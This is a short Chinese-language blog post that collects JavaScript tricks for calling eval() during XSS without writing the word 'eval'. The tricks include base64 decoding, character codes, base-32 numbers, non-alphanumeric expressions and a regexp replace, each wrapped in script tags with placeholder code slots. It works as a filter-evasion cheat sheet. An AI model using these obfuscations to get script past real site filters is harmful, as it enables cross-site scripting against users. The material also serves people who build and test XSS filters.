A-A+
xss 之 无需 eval (收集不同方法来执行字符串,无需显式调用eval()函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | /***********************/ /* Encoded eval string */ /***********************/ <script> var eval_b64 = 'ZXZhbA=='; var eval_charcode = 'String.fromCharCode(101,118,97,108)'; var eval_base32 = '490837..toString(1<<5)'; var eval_non_alpha1 = '(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]'; var eval_non_alpha2 = '(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]])'; </script> /*********************/ /* Through functions */ /*********************/ <script> var fn=window[atob('ZXZhbA==')]; fn(/*code to eval()/*); </script> <script> var fn=window[String.fromCharCode(101,118,97,108)]; fn(/*code to eval()/*); </script> <script> var fn=window[490837..toString(1<<5)]; fn(/*code to eval()/*); </script> /**********************************/ /* Straight through window object */ /**********************************/ <script> window[atob('ZXZhbA==')](/*code to eval()*/) </script> <script> window[String.fromCharCode(101,118,97,108)](/*code to eval()*/) </script> <script> window[490837..toString(1<<5)](/*code to eval()*/) </script> <script> window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */) </script> <script> window[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */) </script> /*************************/ /* Straight through this */ /*************************/ <script> this[atob('ZXZhbA==')](/*code to eval()*/) </script> <script> this[String.fromCharCode(101,118,97,108)](/*code to eval()*/) </script> <script> this[490837..toString(1<<5)](/*code to eval()*/) </script> <script> this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */) </script> <script> this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */) </script> /****************/ /* regexp based */ /****************/ <script> 'e1v2a3l'.replace(/(.).(.).(.).(.)/, function(match,$1,$2,$3,$4) { this[$1+$2+$3+$4](/* code to eval() */); }) </script> /*********************************/ /* Other ways to execute strings */ /*********************************/ <script> delete /* code to execute */ throw~delete~typeof~/* code to execute */ delete[a=/* function */]/delete a(/* params */) var a = (new function(/* code to execute */))(); </script> |
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏